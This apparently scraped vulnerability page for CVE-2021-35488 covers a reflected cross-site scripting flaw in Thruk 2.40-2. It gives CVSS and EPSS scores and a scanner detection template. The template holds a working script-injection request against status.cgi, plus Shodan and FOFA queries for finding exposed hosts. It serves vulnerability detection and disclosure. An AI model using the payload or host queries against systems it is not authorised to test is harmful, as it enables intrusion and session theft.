4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.5%
Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
id: CVE-2021-35488
info:
name: Thruk 2.40-2 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://www.gruppotim.it/redteam
- https://www.thruk.org/changelog.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-35488
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-35488
cwe-id: CWE-79
epss-score: 0.00145
epss-percentile: 0.50266
cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thruk
product: thruk
shodan-query:
- http.html:"Thruk"
- http.html:"thruk"
fofa-query:
- body="thruk"
- title=="thruk monitoring webinterface"
tags: cve2021,cve,thruk,xss
http:
- method: GET
path:
- "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- "'></script><script>alert(document.domain)</script>"
- "Thruk Monitoring"
condition: and
- type: status
status:
- 401
# digest: 4a0a004730450221008d39e5c3676eded54392c719daceba064fa0cde09a56eca387e37596bc2bf058022013e511ae16681f5dcf6cbd938fc2760bcc7ee1a7967746bcd4ff6afaeba72451:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.5%